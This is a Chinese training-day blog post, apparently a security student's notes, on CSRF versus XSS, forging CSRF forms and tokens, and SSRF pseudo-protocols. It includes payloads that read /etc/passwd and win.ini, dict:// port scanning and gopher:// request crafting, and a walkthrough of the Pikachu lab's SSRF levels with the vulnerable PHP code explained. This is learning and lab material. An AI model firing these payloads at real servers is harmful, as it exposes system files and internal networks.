实训第六天

1.总结CSRF和XSS区别

1、CSRF是跨站请求伪造; XSS是跨域脚本攻击
2、CSRF需要用户先登录网站A,获取cookie; XSS不需要登录
3、CSRF是利用网站A本身的漏洞,去请求网站A的api; XSS是向网站A注入JS代码,然后执行JS里的代码,篡改网站A的内容。(XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。)

2.CSRF攻击步骤

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;

  2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;

  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;

  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;

  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行

3.CSRF手工构造POST型页面方法

构造一个预设好的post方式表单,其中input输入的name和正常提交的一致,type设置为hidden(欺骗受攻击者),最后诱导受害者点击我们预设好的提交按钮,借用用户的凭证执行我们所构造的数据

4.token类CSRF利用方法

可以构造token,之后的操作和普通get、post利用方式一样

构造token:

1.有的token是单纯根据时间戳或者加上用户名来构造的,可以预测token

2.使用burpsuite中自带的csrf token tracker扩展(具体使用方法在后面靶场介绍)

5.SSRF常用伪协议

常用伪协议有:file:// dict:// sftp:// ldap:// tftp:// gopher://

file://

该协议可以从文件系统中获取文件(必须要文件的绝对路径)

例:

http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

dict://

通过DICT协议(字典服务协议),攻击者可以访问字典资源,进行端口扫描、获取内网信息、爆破密码等操作

例:

dict://ip:6739/info:访问字典服务器资源
dict://172.251.250.1:80:依次扫描不同端口,通过响应长度判断端口是否开放

ldap://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。在SSRF攻击中,攻击者可能会构造包含LDAP URL的请求,试图通过受害服务器访问或操作LDAP服务器上的数据

例:

ldap://[host]:[port]/[baseDN]?[attributes]?[scope]?[filter]

[host]是LDAP服务器的地址,[port]是LDAP服务的端口(默认为389,对于LDAPS则为636),[baseDN]是搜索的基准DN(Distinguished Name),[attributes][scope][filter]分别用于指定要检索的属性、搜索范围和过滤条件

gopher://

介绍:gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,GopherInternet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后到现在,人们很少再使用它

协议phpjavacurlperlasp.net
gopher<5.3<jdk1.7低版本不支持支持<版本3

Gopher协议允许进行广泛的操作,包括GET提交、POST提交、Redis命令执行、FastCGI请求等。它常用于绕过防火墙限制,进行更复杂的攻击

例:

构造GET请求:gopher://172.250.250.4:80/_GET%20/name.php%3fname=123%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A
构造POST请求:需要保留POST请求头部信息,并进行URL编码

6.SSRF pikachu靶场通关

curl

发现url:http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

后面有url=,可以请求服务器上资源,这里由于是windows服务器,直接通过file协议请求

c:\windows\win.ini

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file://c:\windows\win.ini

在这里插入图片描述
可看到上方读出win.ini文件内容

file_get_content

该函数可以读取文件内容,观察正常的url:http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php

这里使用php伪协议来去读取info2.php源码内容

http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php

在这里插入图片描述
可看到页面显示被base64编码过的源码,而且该编码不好复制,可以通过网页源代码进行复制
在这里插入图片描述
base64编码:

PGJyPgo8cHJlPgrmiJHniLHov5nlnJ/lnLDigJToib7pnZIKCuWBh+WmguaIkeaYr+S4gOWPqum4n++8jArmiJHkuZ/lupTor6XnlKjlmLblk5HnmoTllonlkpnmrYzllLHvvJoK6L+Z6KKr5pq06aOO6Zuo5omA5omT5Ye7552A55qE5Zyf5Zyw77yMCui/meawuOi/nOaxuea2jOedgOaIkeS7rOeahOaCsuaEpOeahOays+a1ge+8jArov5nml6DmraLmga/lnLDlkLnliK7nnYDnmoTmv4DmgJLnmoTpo47vvIwK5ZKM6YKj5p2l6Ieq5p6X6Ze055qE5peg5q+U5rip5p+U55qE6buO5piO4oCm4oCmCgrigJTigJTnhLblkI7miJHmrbvkuobvvIwKCui/nue+veavm+S5n+iFkOeDguWcqOWcn+WcsOmHjOmdouOAggrkuLrku4DkuYjmiJHnmoTnnLzph4zluLjlkKvms6rmsLTvvJ8K5Zug5Li65oiR5a+56L+Z5Zyf5Zyw54ix5b6X5rex5rKJ4oCm4oCmCgo8L3ByZT4=

放到在线网站解码,解码内容:

<br>
<pre>
我爱这土地—艾青

假如我是一只鸟,
我也应该用嘶哑的喉咙歌唱:
这被暴风雨所打击着的土地,
这永远汹涌着我们的悲愤的河流,
这无止息地吹刮着的激怒的风,
和那来自林间的无比温柔的黎明……

——然后我死了,

连羽毛也腐烂在土地里面。
为什么我的眼里常含泪水?
因为我对这土地爱得深沉……

</pre>

利用成功

7.SSRF靶场源代码漏洞成因

curl

地址:D:\phpStudy\WWW\pikachu\vul\ssrf\ssrf_curl.php

漏洞处代码:

if(isset($_GET['url']) && $_GET['url'] != null){
    $URL = $_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    curl_close($CH) ;
    echo $RES;
}

该处没有对url内容进行过滤,应该过滤一些敏感协议或者是敏感文件名称,而且该段代码还会将url执行的结果给返回前端,将查询出的内容回显给攻击者看

file_get_content

地址:D:\phpStudy\WWW\pikachu\vul\ssrf\ssrf_fgc.php

漏洞处代码:

if(isset($_GET['file']) && $_GET['file'] !=null){
    $filename = $_GET['file'];
    $str = file_get_contents($filename);
    echo $str;
}

这段代码更是不经过过滤直接读取用户所指定的文件并且回显内容,该对所读取的文件做过滤和访问权限控制

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值